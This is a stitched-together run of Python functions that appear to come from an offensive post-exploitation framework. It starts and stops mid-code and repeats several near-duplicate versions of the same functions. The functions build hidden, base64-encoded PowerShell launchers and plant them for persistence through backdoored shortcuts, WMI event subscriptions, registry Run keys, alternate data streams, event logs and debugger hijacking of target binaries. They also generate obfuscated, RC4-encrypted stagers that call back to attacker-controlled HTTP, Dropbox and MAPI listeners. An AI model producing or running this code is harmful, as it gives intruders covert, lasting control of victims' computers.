Explorer\\iexplore.exe\"\n" macro += "lnk.save\n" macro += "End Function\n" #write XML to disk f = open(XmlOut,"w") f.write("<?xml version=\"1.0\"?>\n") f.write("<command>\n") f.write("\t<a>\n") f.write("\t<execute>"+launcher+"</execute>\n") f.write("\t</a>\n") f.write("</command>\n") return macro
def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] # management options lnkPath = self.options['LNKPath']['Value'] extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # storage options regPath = self.options['RegPath']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.payloads.generate_launcher( listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) launcher = launcher.replace("$", "`$") # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-BackdoorLNK.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" script = f.read() f.close() scriptEnd = "Invoke-BackdoorLNK " if cleanup.lower() == "true": scriptEnd += " -CleanUp" scriptEnd += " -LNKPath '%s'" % (lnkPath) scriptEnd += " -RegPath '%s'" % (regPath) scriptEnd += "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" % ( lnkPath, regPath) else: if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.payloads.generate_launcher( listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName scriptEnd += " -LNKPath '%s'" % (lnkPath) scriptEnd += " -EncScript '%s'" % (encScript) scriptEnd += "; \"Invoke-BackdoorLNK run on path '%s' with payload for listener '%s'\"" % ( lnkPath, listenerName) if obfuscate: scriptEnd = helpers.obfuscate( self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate(self): listenerName = self.options['Listener']['Value'] # management options lnkPath = self.options['LNKPath']['Value'] extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # storage options regPath = self.options['RegPath']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) launcher = launcher.replace("$", "`$") # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-BackdoorLNK.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" script = f.read() f.close() script += "Invoke-BackdoorLNK " if cleanup.lower() == "true": script += " -CleanUp" script += " -LNKPath '%s'" %(lnkPath) script += " -RegPath '%s'" %(regPath) script += "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\"" %(lnkPath,regPath) else: if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName script += " -LNKPath '%s'" %(lnkPath) script += " -EncScript '%s'" %(encScript) script += "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\"" %(lnkPath,listenerName) return script
def generate(self): #listenerName = self.options['Listener']['Value'] launcher_prefix = self.options['Launcher']['Value'] # trigger options dailyTime = self.options['DailyTime']['Value'] atStartup = self.options['AtStartup']['Value'] subName = self.options['SubName']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] webFile = self.options['WebFile']['Value'] # staging options #userAgent = self.options['UserAgent']['Value'] #proxy = self.options['Proxy']['Value'] #proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" if cleanup.lower() == 'true': # commands to remove the WMI filter and subscription script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;" script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" script += "'WMI persistence removed.'" return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=webFile, launcher=launcher_prefix) encScript = launcher.split(" ")[-1] statusMsg += "using launcher_fetcher" # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max if len(encScript) > 8190: print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.") return "" # built the command that will be triggered triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript if dailyTime != '': parts = dailyTime.split(":") if len(parts) < 2: print helpers.color("[!] Please use HH:mm format for DailyTime") return "" hour = parts[0] minutes = parts[1] # create the WMI event filter for a system time script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" statusMsg += " WMI subscription daily trigger at " + dailyTime + "." else: # create the WMI event filter for OnStartup script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" statusMsg += " with OnStartup WMI subsubscription trigger." # add in the event consumer to launch the encrypted script contents script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" # bind the filter and event consumer together script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" script += "'WMI persistence established "+statusMsg+"'" return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': template_path = [ os.path.join(self.mainMenu.installPath, '/data/agent/stagers'), os.path.join(self.mainMenu.installPath, './data/agent/stagers')] eng = templating.TemplateEngine(template_path) template = eng.get_template('dropbox.py') template_options = { 'staging_folder': stagingFolder, 'poll_interval': pollInterval, 'staging_key': stagingKey, 'profile': profile, 'api_token': apiToken } stager = template.render(template_options) stager = obfuscation.py_minify(stager) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] # trigger options keyName = self.options['KeyName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': # remove the ADS storage location if ".txt" not in adsPath: print helpers.color( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + adsPath + "\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '" + regPath + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + ";" script += "'Registry persistence removed.'" return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName # store the script in the specified alternate data stream location if adsPath != '': if ".txt" not in adsPath: print helpers.color( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + encScript + " > " + adsPath + "\"};" locationString = "$(cmd /c \''more < " + adsPath + "\'')" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath + "." script = "$RegPath = '" + regPath + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";" # note where the script is stored locationString = "$((gp " + path + " " + name + ")." + name + ")" script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + locationString + ";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established " + statusMsg + "'" if obfuscate: script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script
def generate(self, obfuscate=False, obfuscationCommand=""): script = """$null = Invoke-WmiMethod -Path Win32_process -Name create""" # management options cleanup = self.options['Cleanup']['Value'] binary = self.options['Binary']['Value'] targetBinary = self.options['TargetBinary']['Value'] listenerName = self.options['Listener']['Value'] userName = self.options['UserName']['Value'] password = self.options['Password']['Value'] # storage options regPath = self.options['RegPath']['Value'] statusMsg = "" locationString = "" # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print helpers.color("[!] CredID is invalid!") return "" (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] if domainName != "": self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName) else: self.options["UserName"]['Value'] = str(userName) if password != "": self.options["Password"]['Value'] = passw = password if cleanup.lower() == 'true': # the registry command to disable the debugger for the target binary payloadCode = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';" statusMsg += " to remove the debugger for " + targetBinary elif listenerName != '': # if there's a listener specified, generate a stager and store it if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True) encScript = launcher.split(" ")[-1] # statusMsg += "using listener " + listenerName path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] # statusMsg += " stored in " + regPath + "." payloadCode = "$RegPath = '"+regPath+"';" payloadCode += "$parts = $RegPath.split('\\');" payloadCode += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" payloadCode += "$name = $parts[-1];" payloadCode += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" # note where the script is stored locationString = "$((gp "+path+" "+name+")."+name+")" payloadCode += "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";start -Win Hidden -A \\\"-enc $x\\\" powershell\";exit;';" statusMsg += " to set the debugger for "+targetBinary+" to be a stager for listener " + listenerName + "." else: payloadCode = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+binary+"';" statusMsg += " to set the debugger for "+targetBinary+" to be " + binary + "." # unicode-base64 the payload code to execute on the targets with -enc encPayload = helpers.enc_powershell(payloadCode) # build the WMI execution string computerNames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\"" script += " -ComputerName @("+computerNames+")" script += " -ArgumentList \"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc " + encPayload + "\"" # if we're supplying alternate user credentials if userName != '': script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'" if obfuscate: script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): """ Generate the stager code needed for communications with this listener. """ #if not language: # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') # return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] folder = listenerOptions['Folder']['Value'] if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_FOLDER', folder) # patch in working hours if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module." ))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] stagingFolder = "/%s/%s" % ( baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) stager = stager.replace('REPLACE_PROFILE', profile) stager = stager.replace('REPLACE_API_TOKEN', apiToken) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print( helpers.color( '[!] listeners/http_com generate_stager(): no language specified!' )) return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name # Get the random function name generated at install and patch the stager with the proper function name conn = self.get_db_connection() self.lock.acquire() stager = helpers.keyword_obfuscation(stager) self.lock.release() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) # patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' stagingKey = stagingKey.encode('UTF-8') for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager.encode('UTF-8')) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ))
def generate(self): listenerName = self.options['Listener']['Value'] # trigger options keyName = self.options['KeyName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] eventLogID = self.options['EventLogID']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};" else: #remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";" script += "'Registry Persistence removed.'" return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName if adsPath != '': # store the script in the specified alternate data stream location if adsPath != '': if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};" locationString = "$(cmd /c \''more < "+adsPath+"\'')" elif eventLogID != '': # store the script in the event log under the specified ID # credit to @subtee # https://gist.github.com/subTee/949fdf0f141546f24978 # sanity check to make sure we haven't exceeded the 31389 byte max if len(encScript) > 31389: print helpers.color("[!] Warning: encoded script exceeds 31389 byte max.") return "" statusMsg += " stored in Application event log under EventID " + eventLogID + "." # command to write out the encoded script to the specified eventlog ID script = "Write-EventLog -logname Application -source WSH -eventID "+eventLogID+" -entrytype Information -message 'Debug' -category 1 -rawdata \"" + encScript + "\".ToCharArray();" # command to decode the binary data from the event log location locationString = "$([Text.Encoding]::ASCII.GetString(@((Get-Eventlog -LogName Application | ?{$_.eventid -eq "+eventLogID+"}))[0].data))" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath + "." script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" # note where the script is stored locationString = "$((gp "+path+" "+name+")."+name+")" # set the run key to extract the encoded script from the specified location # and start powershell.exe in the background with the encoded command script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established "+statusMsg+"'" return script
def generate(self): listenerName = self.options['Listener']['Value'] # trigger options keyName = self.options['KeyName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': # remove the ADS storage location if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";" script += "'Registry persistence removed.'" return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName # store the script in the specified alternate data stream location if adsPath != '': if ".txt" not in adsPath: print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt") return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};" locationString = "$(cmd /c \''more < "+adsPath+"\'')" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath + "." script = "$RegPath = '"+regPath+"';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join 